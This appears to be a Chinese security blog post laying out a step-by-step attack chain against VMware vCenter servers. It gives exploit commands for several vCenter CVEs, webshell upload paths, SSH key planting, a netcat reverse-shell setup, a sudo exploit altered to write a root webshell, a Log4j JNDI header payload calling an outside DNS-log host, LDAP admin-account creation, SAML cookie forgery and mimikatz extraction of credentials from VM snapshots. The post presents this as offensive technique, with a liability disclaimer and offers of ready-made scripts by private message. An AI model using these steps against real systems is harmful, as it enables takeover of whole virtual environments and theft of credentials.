免責聲明
由于傳播、利用本公眾號夜組安全所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,公眾號夜組安全及作者不為此承擔任何責任,一旦造成后果請自行承擔!如有侵權煩請告知,我們會立即刪除并致歉。謝謝!
朋友們現(xiàn)在只對常讀和星標的公眾號才展示大圖推送,建議大家把夜組安全“設為星標”,否則可能就看不到了啦!
攻擊手法
01
前言
Vcenter不用多說,懂的都懂,Vcenter是構建私有云基礎架構的軟件,它提供了一個可伸縮、可擴展的平臺,為 虛擬化管理奠定了基礎。VMware vCenter Server(以前稱為 VMware VirtualCenterl),可集中管理 VMware vSphere 環(huán)境,與其他管理平臺相比,極大地提高了 IT 管理員對虛擬環(huán)境的控制。
一句話概括:Vcenter是用來控制虛擬環(huán)境的,是一個集權系統(tǒng),那么拿下它,就等同于拿下了它控制的所有虛擬主機。
02
小Tips
vcenter版本獲取
/sdk/vimServiceVersions.xml
數(shù)據(jù)庫位置
http://x.x.x.x/eam/vib?id=c:\programData\Vmware\vCenterServer\cfg\vmware-vpx\vcdb.properties
網絡空間測繪
app='vmware-vCenter'
或者 title='+ ID_VC_Welcome +'
' ID_VC_Welcome +' && country='JP'
攻防流程
1、判斷vcenter版本
2、掃描是否存在相關漏洞
3、低權限-提權-高權限
4、ldap添加用戶、偽造cookie獲取web后臺權限
5、獲取后臺鎖屏機器權限
03
獲取低權限
任意文件讀取漏洞CVE-2021-21980
影響范圍
vCenter Server 6.7
vCenter Server 6.5
Cloud Foundation (vCenter Server) 3.x
漏洞利用
具體怎么利用呢?看下面:
1、可讀取postgresql數(shù)據(jù)庫配置文件
http://x.x.x.x/eam/vib?id=c:\programData\Vmware\vCenterServer\cfg\vmware-vpx\vcdb.properties
讀取data數(shù)據(jù),然后提權cookie 從而登錄到后臺中
https://x.x.x.x/eam/vib?id=C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
CVE-2021-21972 rce
漏洞驗證
Url拼接下面這個路徑:
/ui/vropspluginui/rest/services/uploadova
如果頁面返回狀態(tài)碼為200、405,則可能存在漏洞
影響版本
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
可直接利用攻擊腳本進行攻擊利用!
需要根據(jù)windows\linux 系統(tǒng),不斷的拼接url, 攻擊腳本至少需要寫120次,尋找真實的絕對路徑,受網絡問題影響較大,如果寫入成功,就會直接回顯shell地址。
windows系統(tǒng)
附上工具鏈接:
https://github.com/horizon3ai/CVE-2021-21972
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp
參數(shù)用法含義如下:
-t (目標地址)
-f (上傳的文件)
-p (上傳后的webshell路徑,默認不用改)
上傳后的路徑為
https://x.x.x.x/statsreport/gsl.jsp
完整路徑為
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport
Windows路徑
../../../../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/log.jsp
對應shell地址是/statsreport/log.jsp
Linux系統(tǒng)
思路:寫webshell、寫私鑰
1、寫公私鑰(需要22端口開放)
往目錄../../home/vsphere-ui/.ssh/authorized_keys寫就行
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
Linux shell路徑
../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log.jsp
對應shell地址是/ui/resources/log.jsp
工具鏈接:
https://github.com/NS-Sp4ce/CVE-2021-21972
CVE-2021-21985 rce
可利用腳本直接攻擊vcenter_cve_2021_21985 。
影響版本
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
出網利用
工具鏈接:
https://github.com/r0ckysec/CVE-2021-21985
用法如下:
1、在vps
java -jar JNDIInjection-Bypass.jar 1099 <監(jiān)聽port>
2、在vps
# nc接收反彈shell
nc -lvvp <監(jiān)聽port>
3、攻擊機:
python cve-2021-21985_exp.py
條件:
需要目標出網
如果目標不出網,可以嘗試研究下原理,打個內存馬。感興趣的可以私聊交流一下??!當然也可以看一下下面的不出網利用。
不出網利用
工具鏈接:
https://github.com/r0ckysec/CVE-2021-21985
具體原理:
利用ClassPathXmlApplicationContext類加載xml文件觸發(fā)spel注入,weblogic和jackson都有關于這個類的cve,利用方式都差不多。
04
獲取高權限
提權
對于上文通過漏洞獲取的低權限主機,我們可以利用提權漏洞進行提權,高權限方便我們獲取web后臺權限
筆者認為vcenter大部分的Linux系統(tǒng)都是存在sudo提權漏洞的,所以這里著重介紹了sodu,如果使用sodu提權失敗了,也可以嘗試其他的提權方式。
1、CVE-2021-3156
https://github.com/worawit/CVE-2021-3156
vCenter的linux版可以直接用sudo提權(測了7u1和7u3j),直接用網上的python腳本。
重點講講兩個腳本:
exploit_defaults_mailer.py
需要在交互的情景使用,使用后會在/tmp/目錄下生成一個二進制文件,執(zhí)行文件即可獲得一個root的shell
exploit_userspec.py
往指定地點寫入文件內容,這個腳本會往/etc/passwd目錄下寫入一個gg用戶,其實就是一個任意文件寫入的利用。
我們可以通過更改寫入的路徑和寫入的內容,寫一個root權限的webshell到vCenter服務器上
具體腳本,可以各位大佬們具體修改,這樣才能發(fā)揮奇效。
我們可以通過更改寫入的路徑和寫入的內容,寫一個root權限的webshell到vCenter服務器上
改動:
PASSWD_PATH=b’/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/1.jsp’
APPEND_CONTENT=b’webshell內容’
即可在https://172.16.xx.xx/idm/..;/1.jsp (這里是用到了一個tomcat越權的tips,可以參考CVE-2021-22005的利用)得到一個root權限的webshell
如果想吃現(xiàn)成的,可以關注一下公眾號,私信我哦!
2、其他提權
CVE-2022-0847 是Linux內核的本地提權漏洞。原理類似于Dirty Cow linux提權
CVE-2021-4034 Linux polkit權限提升漏洞
CVE-2021-3560
CVE-2021-3493
等等其他一些提權cve,只要能提權,哪個漏洞其實都無所謂!
cve-2021-22005 任意文件上傳
該漏洞獲取的shell默認為root權限,可以直接讀取mdb文件。
漏洞:
攻擊者可通過VMware vCenter Server 443端口上傳惡意文件,在vCenter Server上執(zhí)行任意代碼。
影響版本:
VMware vCenter Server 7.0系列 < 7.0.U2b
VMware vCenter Server 6.7系列 < 6.7.U3n
VMware vCenter Server 6.5系列 < 6.5 U3p
VMware Cloud Foundation 4.x 系列 < 4.2.1
VMware Cloud Foundation 4.x 系列 < 3.10.2.1
漏洞利用
https://github.com/shmilylty/cve-2021-22005-exp
exp.exe -t -s
如果不指定-s的話,會上傳默認的cmd.jsp,可以指定自己生成的馬兒。
上傳后的webshell完整路徑為:
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp
CVE-2021-44228 Log4j
xff header jndi注入內存馬
漏洞成因是Vcenter的SAML路由中,可以通過增加XFF頭觸發(fā)漏洞,把需要執(zhí)行的命令跟在XFF后面。
目錄攻擊url: /websso/SAML2/SSO/vsphere.local?SAMLRequest=
poc :
x-forwarded-for:{jndi}
GET/websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
DNSlog探測漏洞是否存在; 內網 不出網,可以在內網搭建ldap。 直接注入內存馬
05
后滲透獲取web權限
ldap添加用戶
ldap直接添加vcenter管理員賬號。需要高權限
第一步 在目標vcenter 導出ldap憑據(jù)信息
linux列l(wèi)dap信息:
/opt/likewise/bin/lwregshell list_values '[HKEY_THIS_MACHINE\services\vmdir]'
windows:列l(wèi)dap信息方法:
reg query '\\HKEY_THIS_MACHINE\\services\\vmdir'
reg query 'HKLM\SYSTEM\CurrentControlSet\services\VMwareDirectoryService' /v
dcAccountDN
第二步直接上腳本添加賬戶,再添加到管理員:
自己修改腳本:改成不input,避免密碼的編碼問題。 但是需要將ldap的憑證信息 填寫進我們腳本中,然后一步到位。不用輸入添加的賬號和密碼 。都是默認的
有l(wèi)inux、windows兩個版本。
截圖如下:
老規(guī)矩:
如果想吃現(xiàn)成的,可以關注一下公眾號,私信我哦!
偽造cookie
方法一
腳本:
https://github.com/horizon3ai/vcenter_saml_login/blob/main/vcenter_saml_login.py
1、獲取data.mdb :
windows::
C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux
/storage/db/vmware-vmdir/data.mdb
利用data.mdb 提取ldp證書 進行身份驗證獲取有效管理員的cookie
利用腳本進行攻擊:
python vcenter_saml_login.py -t <目標機器內網ip> -p data.mdb
獲取到cookie session
直接使用生成的cookie訪問vcenter服務器:http://xx.xx.xx.xx/ui
直接利用修改cookie工具進行修改cookie,進入后臺。
方法二 用于data.mdb比較大的情況
參考3gstudent的文章:
https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates
與方法一的區(qū)別就是該腳本vCenter_ExtraCertFromMdb.py可以直接在目標vcenter上運行,會生成證書!!!。
python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb
然后把cat證書文件復制到本地,然后運行腳本vCenter_GenerateLoginCookie.py獲得cookie
06
獲取后臺鎖屏機器權限
創(chuàng)建快照
如果目標 VM 是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 或 Windows Server 2019,則執(zhí)行-W8,否則使用-W:
.\vmss2core-sb-8456865.exe -W8 '.\Windows Server 2012-Snapshot1.vmsn' '.\Windows Server 2012-Snapshot1.vmem'
.load D:\Download\mimikatz_trunk\x64\mimilib.dll
.Reload
!process 0 0 lsass.exe
.process /r /p ffffe001084e32c0
!mimikatz
方法二:KonBoot引導
筆者覺得,獲取后臺鎖屏機器的權限,目前所有方法都是由風險的,不管是KonBoot引導,還是掛載VMDK,還是其他的方式,都或多或少都有點風險,所以不到萬不得已,不要用這些騷操作!
筆者在這里只是簡單說一下KonBoot引導,這個是筆者看來目前算是比較好用的方法了!有其他好用的方法,也可以私聊筆者一起討論一下。
參考謝公子的文章:
https://mp.weixin.qq.com/s/Okxc4CdFRPe82UHN4UXQHQ
寫的非常詳細?。?!推薦?。。。?/p>
07
聯(lián)系客服